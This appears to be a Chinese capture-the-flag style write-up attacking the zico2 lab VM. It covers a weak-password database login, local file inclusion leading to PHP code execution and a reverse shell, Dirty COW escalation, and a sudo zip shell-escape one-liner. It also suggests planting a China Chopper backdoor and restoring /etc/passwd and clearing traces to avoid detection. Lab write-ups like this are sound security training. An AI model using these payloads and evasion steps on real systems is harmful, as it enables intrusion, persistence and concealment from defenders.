渗透测试实战5——zico2靶机入侵
一、实验环境
- 攻击机(Kali):192.168.247.156
- 靶机(Node):192.168.247.154
二、实验步骤
(一)主动信息收集
1、主机发现
2、端口扫描
目标靶机开放22、80、111、50309端口
3、服务版本信息
(二)端口探测
80端口
1、目录探测
分别使用默认字典和大字典对靶机进行目录探测,探测结果如下:
2、访问192.168.247.154/dbadmin/
点击 ' test_db.php ' ,可以看到该登陆界面只需要输入密码即可登录,尝试使用弱口令admin进行登录,竟然登陆成功。
找到两个账户,使用MD5对其密码进行解密。
- 账号:root 密码:34kroot34
- 账号:zico 密码:[email protected]
尝试进行ssh登录,失败
3、接下来可以尝试进行远程PHP代码注入
访问192.168.247.154
点击 ' CHECK THEM OUT ',跳转到如下页面,其中URL中含有 ' ?page= ',由此我们可以想到文件包含。
文件包含特征:
- ?page=
- ?file=
- ?home=
查看源代码进行验证:
远程PHP代码注入步骤:
- 创建一个数据库hack.php
- 创建一个test表
- 设置缺省值
测试是否可以执行一句话木马,将缺省值设为' <?php phpinfo()?> ' 。
访问192.168.247.154/view.php?page=../../../../../usr/databases/hack.php,一句话木马执行成功。
接下来我们在测试机kali上写一个shell.txt脚本(一句话反弹shell),然后将它上传到靶机上,以此来获得shell。
当我们访问192.168.247.154/view.php?page=../../../../../usr/databases/hack.php时,测试机 kali 已经成功拿到了shell。
终极三连问
python -c ‘import pty;pty.spawn(“/bin/bash”)’ //将shell转换为交互式的tty
拿到了shell,接下来要做的就是提权。
4、脏牛提权
成功将root账户替换成了firefart。
拿到了root权限后,就可以留后门了(此处略过留后门步骤,后面有讲解)。留完后门后,记得将恢复/etc/passwd,以免被发现了。
5、查看wp-config.php
wp-config.php 文件是WordPress数据库的关键。数据库名、用户名、密码、位置都是在此设置。
得到了MySQL数据库的用户名和密码。
6、尝试使用MySQL数据库的用户名和密码ssh远程登录靶机
- 账户:zico
- 密码:sWfCsfJSPV9H3AmQzw8
提权
- sudo -l //当前用户在sudo组中可执行的命令
- touch /tmp/exploit //在/tmp目录下新建一个exploit文件
- sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty; pty.spawn(\"/bin/sh\")'" //在exploit文件中写入代码;sudo 用管理员权限执行 ;-T 检查文件的完整性,这个参数可以让它执行下一个参数; --unizp-command 在这个参数中写入一个python的交互式shell
tar、zip命令表明可以使用无密码进行运行
终极三连问
7、留后门
使用中国菜刀进行验证
模拟终端
接下来就是清理痕迹了。。。。